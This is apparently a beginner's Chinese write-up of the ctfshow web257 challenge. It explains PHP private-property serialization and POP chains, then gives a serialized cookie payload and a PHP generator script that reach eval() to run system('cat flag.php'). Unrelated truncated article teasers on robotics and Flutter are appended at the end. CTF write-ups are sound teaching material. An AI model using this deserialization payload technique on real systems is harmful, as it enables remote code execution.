ctfshow-web257【保姆级wp】

写在最前:我发现现在网络上好多wp都是直接讲题目是怎么做的,可能对知道关于这道题中所讲的方法的一些前置知识人来说确实既是一个节约时间又能提供一个具体思路的好的writeup,但是对于我这样啥都不懂的人来说反而找不到真正适合的题解,要花大量的时间去找,去了解关于这道题目的前置知识,这对于一个自学者来说是最艰难也是最折磨的地方。因此,我希望我写的wp不仅仅是说这道题该怎么做,更是让一个完全没有基础的人也能看懂,而不是去反复的问AI这是啥意思,既是个人对零散知识的整合梳理,也是作为真正的萌新向wp。  【如果想详细了解可参阅php手册类与对象


一:前置知识

1.三种修饰符

修饰符类内部子类类外
public
protected
private

这里打勾代表能访问,这么看着其实有点一头雾水,还是举个栗子:

class A { private $x = 1; } $a = new A(); echo $a->x; // ❌ 报错:不能从外部访问 private 
  •  外部不能访问
  • 子类不能访问
  • 只有 A 类内部 能访问

在 PHP 里,不同权限的属性,序列化名字是不一样的

属性定义序列化里的名字
public $aa
protected $a\0*\0a
private $a\0类名\0a

这里其实可以参考之前我写的web255,当时构造的payload是这样的:

O:11:"ctfShowUser":3:{ s:8:"username";s:6:"xxxxxx"; s:8:"password";s:6:"xxxxxx"; s:5:"isVip";b:1; }

可以看到是直接写usernamepassword,这是因为那时候的定义的时候用的是public:

class ctfShowUser{ // 公共属性:用户名,默认值是 xxxxxx public $username='xxxxxx'; // 公共属性:密码,默认值是 xxxxxx public $password='xxxxxx'; // 是否是 VIP,默认 false(不是 VIP) public $isVip=false; // 检查当前对象是不是 VIP public function checkVip(){ // $this 指的是“当前这个对象” // 返回对象里的 isVip 属性 return $this->isVip; } 

而在这里定义时用的则是private,因此最前面要加上类名,具体的还是到后面题目中去看

2.普通方法名

“普通方法名”= 程序员自己随便起的函数名字,就比如说:

class A { function abc() {} function getInfo() {} function helloWorld() {} function 你开心就好() {} } 

这些都代表的是一个函数名字,abcgetinfo这类,这里就要区别于php的魔术方法,这些是不能改动的:

__construct // 构造函数 __destruct // 析构函数 __wakeup __toString 

之所以讲这个也是因为跟题目有关,慢慢看下去就了解了。

3.POP链

POP 链(Property-Oriented Programming)是通过“控制对象的属性”,利用已有类的魔术方法,在反序列化过程中自动执行危险代码。POP链能存在的原因是因为有unserialize() —— 自动创建对象和魔术方法 —— 自动执行。

基本结构:

一个完整的POP链是三段式:

[入口] → [传递] → [危险点] class A { public $b; function __destruct() { $this->b->run(); } } class B { public $c; function run() { eval($this->c); } } 

这里我们需要的是B里面的c去执行eval,但是B中没有任何魔术方法,而POP链中只有被程序自动调用的类才有机会去执行代码,因此我们要从A开始,构造的payload为:

O:1:"A":1:{ s:1:"b"; O:1:"B":1:{ s:1:"c"; s:10:"phpinfo();"; } } 

这样一个POP链形式的序列化字符串就形成了。


二:具体题目

给的代码如下:

<?php // ======================= // 用户类(POP 链的入口) // ======================= class ctfShowUser{ // 私有属性:用户名 // ⚠️ private:外部不能直接访问 // ⚠️ 反序列化时需要写成 \0ctfShowUser\0username private $username = 'xxxxxx'; // 私有属性:密码 private $password = 'xxxxxx'; // 私有属性:是否 VIP private $isVip = false; // 私有属性:保存一个“对象” // 表面上是 info,实际上可以被反序列化替换 private $class = 'info'; // 构造函数 public function __construct(){ // 正常情况下: // 每次 new ctfShowUser(),都会把 $class 设成 info 对象 $this->class = new info(); } // 登录函数 public function login($u, $p){ // 只是做字符串比较 // ❗ 返回值没有被 if 判断 // ❗ 成功 or 失败都不影响后续流程 return $this->username === $u && $this->password === $p; } // 析构函数(POP 链触发点) public function __destruct(){ // ⚠️ 关键危险点 // 程序“假设” $this->class 是 info 对象 // 但攻击者可以把它换成 backDoor 对象 $this->class->getInfo(); } } // ======================= // 正常信息类(安全) // ======================= class info{ // 私有属性 private $user = 'xxxxxx'; // 普通方法 public function getInfo(){ // 只是返回字符串 // ✔ 安全 return $this->user; } } // ======================= // 后门类(危险 Gadget) // ======================= class backDoor{ // 私有属性:存放攻击者的代码 private $code; // 与 info 同名的方法 public function getInfo(){ // ⚠️ 危险函数 // $this->code 完全可控(通过反序列化) eval($this->code); } } // ======================= // 主程序逻辑 // ======================= // 从 GET 获取参数(字符串) $username = $_GET['username']; $password = $_GET['password']; // 只要参数存在就进入 if (isset($username) && isset($password)) { // ⚠️ 致命漏洞 // 直接反序列化用户可控的 Cookie // 且没有 allowed_classes 限制 $user = unserialize($_COOKIE['user']); // 调用 login // ❗ login 成功与否不影响攻击 $user->login($username, $password); } 

这里就看到定义的时候用的是private,那么后面我们构造序列化字符串时就要加上类名了。

然后这里有两个getinfo,而getInfo() 执行的内容,取决于当前对象是哪个类的对象,这里我们需要的是含有eval的那个getinfo,所以我们要调用的就是backDoor,因此这里构造的payload则为:

O:11:"ctfShowUser":1:{s:18:"ctfShowUserclass";O:8:"backDoor":1:{s:14:"backDoorcode";s:23:"system("tac+flag.php");";}}

然后URL编码一下就可以了【我这里没写username和password,因此get里面传的就是默认值】

但是这里有个问题是我一个个手打过去很麻烦,可不可以编个程序跑一下,当然是可以的:

<?php class ctfShowUser{ private $class; public function __construct(){ $this->class=new backDoor(); } public function __destruct(){ $this->class->getInfo(); } } class backDoor{ private $code = "system('cat flag.php');"; public function getInfo(){ eval($this->code); } } echo urlencode(serialize(new ctfShowUser())); ?>

【其实这种序列化脚本还是挺简单的,照着题目给的改一下就行,都是公式化写法】

然后跑出来是这样的:

O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A23%3A%22system%28%27cat+flag.php%27%29%3B%22%3B%7D%7D 

hackbar里加个cookie写一下就行了,记得get传参的两个。

三:总结

通过这道题,其实我们并不是“学会了某一道 CTF 题”,而是完整走了一遍 PHP 反序列化漏洞的学习路径。如果用一句话概括这类题目,那就是:

攻击者并不是在“执行代码”,而是在“构造对象结构”,
程序自己会沿着既定逻辑把危险代码跑完。

下面从几个关键点来回顾。


1. private 并不是“防御”,只是“增加构造难度”

在很多新人的直觉里,private 会让人觉得“更安全”。
但在反序列化漏洞中:

  • private / protected / public都可以被反序列化控制
  • 区别只在于:
    序列化字符串里字段名怎么写

真正要记住的是这张表:

属性类型序列化里的名字
publica
protected\0*\0a
private\0类名\0a

所以这道题里:

private $class;

必须写成:

"\0ctfShowUser\0class"

 private 不是挡住你,而是逼我们“写对格式”


2.普通方法名 ≠ 魔术方法,真正“自动执行”的只有魔术方法

getInfo()run() 这种:

  • 只是 普通函数名
  • 不会自动执行
  • 必须有人去“调用它”

而真正关键的是这些 魔术方法

__construct __destruct __wakeup __toString

在这道题里,真正触发整个 POP 链的只有一句:

public function __destruct(){ $this->class->getInfo(); }

也就是说:

不是 getInfo() 危险,而是“谁在什么时候调用了它”

3.POP 链的本质:不是“危险函数”,而是“执行路径”

很多初学者会下意识去找:

  • eval
  • system
  • exec

但真正的分析顺序应该是:

  1. 程序一定会自动执行谁?
  2. 它会调用哪个属性 / 方法?
  3. 这个属性能不能被我替换成别的对象?
  4. 最终有没有走到危险函数?

所以一条标准 POP 链一定是:

入口(魔术方法) ↓ 中间对象(方法被调用) ↓ 危险点(eval / system)

在本题中对应关系是:

角色
POP 链入口ctfShowUser::__destruct
中间桥梁$this->class->getInfo()
执行点backDoor::getInfo → eval()

4.为什么一定要“从 ctfShowUser 开始构造对象”

原因只有一句话:

只有被程序“自动调用”的类,才有机会执行代码
  • backDoor 里虽然有 eval
  • 但程序 从来不会自动调用 backDoor
  • 它只是一个“工具类”

所以 payload 的最外层 必须是 ctfShowUser
让程序在脚本结束时自动触发 __destruct()
再一步步把执行流程“引到 backDoor”。


5.手写 payload 很痛苦,用 PHP 自动生成才是正解

手打序列化字符串的问题在于:

  • private 字段容易写错
  • 字符串长度容易错
  • 嵌套对象非常反人类

而用 PHP 本身来生成 payload:

echo urlencode(serialize(new ctfShowUser()));

好处是:

  • PHP 自动帮我们处理 \0类名\0属性
  • 不用管字符串长度
  • 结构 100% 合法

 这不是“偷懒”,而是标准做法


6.这道题真正学到的东西

如果把这道题抽象掉细节,那么我们掌握的是:

  • PHP 类 / 对象 / 访问修饰符的基本语义
  • private 属性在反序列化中的表现形式
  •  魔术方法在 POP 链中的作用
  • 为什么“有 eval ≠ 能 RCE”
  • 如何从源码逆推出 payload 结构
  • 如何用脚本而不是手算生成 payload

这些能力是 可以迁移到绝大多数 PHP 反序列化题目中的

Read more

构建机器人集群系统:ROS 2分布式控制实战指南

构建机器人集群系统:ROS 2分布式控制实战指南 【免费下载链接】PX4-AutopilotPX4 Autopilot Software 项目地址: https://gitcode.com/gh_mirrors/px/PX4-Autopilot 本文将系统讲解如何基于ROS 2构建机器人集群系统,涵盖分布式控制技术原理、核心组件架构、快速部署流程及仓储场景应用。通过从零搭建多机器人协同框架,掌握分布式任务调度与异构机器人协作的关键技术,解决多机通信延迟、任务冲突等核心问题,为工业级机器人集群应用提供完整技术方案。 🔥 技术原理实现方案 机器人集群系统通过分布式控制架构实现多智能体协同,核心在于解决三个关键问题:节点间状态一致性、任务动态分配和实时通信保障。与传统集中式控制相比,分布式架构具有更高的容错性和扩展性,单个节点故障不会导致整个系统瘫痪。 分布式控制的核心算法包括: * 基于一致性协议的状态同步(如Raft算法) * 分布式任务分配的匈牙利算法 * 冲突避免的分布式路径规划 图1:机器人集群分布式控制架构示意图,展示状态感知、任务规划、执行控制的分层协作

Flutter for OpenHarmony 开发指南(五):实现tabbar主菜单功能

Flutter for OpenHarmony 开发指南(五):实现tabbar主菜单功能

前言 无论是在 Android、iOS 还是新兴的 HarmonyOS 平台上,底部标签栏都是用户与应用核心功能进行交互的主要入口。它提供了一种清晰、直观的导航方式,让用户可以轻松地在不同功能模块之间切换。 在本文中,将从一个只有独立页面的初始项目开始,一步步地重构代码,最终实现一个包含“首页”和“我的”两个核心模块的 TabBar 导航结构。 目标 我的目标是将一个通过路由进行离散页面跳转的应用,改造成一个拥有固定底部导航栏的现代化应用。 改造前: * 应用有一个初始页面。 * 所有页面(如登录、个人中心)通过 Navigator.pushNamed 等方法进行跳转,彼此独立。 * 没有一个统一的主导航结构。 改造后(我的目标): * 应用底部有一个常驻的 TabBar,包含“首页”和“我的”两个标签。 * 点击不同的标签,可以切换中间的主体内容区域,而 TabBar 本身保持不变。 * 页面切换流畅,

SLAM Toolbox:工业级机器人定位与建图解决方案

SLAM Toolbox:工业级机器人定位与建图解决方案 【免费下载链接】slam_toolboxSlam Toolbox for lifelong mapping and localization in potentially massive maps with ROS 项目地址: https://gitcode.com/gh_mirrors/sl/slam_toolbox 技术挑战与核心价值 在现代工业自动化和机器人应用中,大规模环境下的实时定位与地图构建面临着多重技术挑战:传感器噪声累积、长期运行漂移、多机器人协同通信瓶颈以及动态环境适应性不足。SLAM Toolbox作为专为工业场景设计的开源解决方案,通过模块化架构和优化算法,有效解决了这些痛点问题。 核心架构解析 分层处理架构 SLAM Toolbox采用四层架构设计,确保工业级应用的可靠性和可扩展性: 数据采集层 * 支持多种激光雷达协议,包括SICK、Hokuyo和Velodyne系列 * 兼容ROS 1和ROS 2通信标准 * 提供传感器数据质量监控和异常检测

[awesome]最新最全机器人Robotics顶会“灵巧手”(dexterous hand)的paper集合

[awesome]最新最全机器人Robotics顶会“灵巧手”(dexterous hand)的paper集合

前言 “灵巧手”(dexterous hand)通常指具有类人手结构、多自由度的末端执行器,能够进行精细的抓取与操作,而不仅仅局限于平行夹紧(如下图)。它们模仿人类手指关节和肌腱驱动,使机器人能够执行转动、重定位、穿插等复杂操作。根据结构和材料不同,灵巧手大致可分为刚性型、柔性型和混合型:刚性型采用金属或坚硬塑料结构,关节通过电机或舵机驱动,优点是定位精度高、力矩大;柔性型主要用硅胶、橡胶等软材料,可通过气动驱动或形变实现自适应抓取,天生适合对柔软或不规则物体的抓取;混合型结合刚柔两者,例如刚性骨架包裹柔性层,兼顾承力和安全性。近年来,随着增材制造和传感技术进步,灵巧手的设计趋势是结构更轻便、可拓展(如3D打印一体化设计)且集成丰富传感器,使其在保持精细操作能力的同时降低成本和复杂度。总体来看,从并联双爪等简单夹具到今天的多指柔刚结合的灵巧手,已经形成多条发展脉络,各种创新不断涌现。 在机器人学中,“灵巧手”是把感知—决策—执行闭环落实到接触尺度的关键枢纽,其重要性体现在方法论与系统层两个层面:在方法论上,灵巧手将原本“抓取—位移”的低维任务,提升为包含滚动、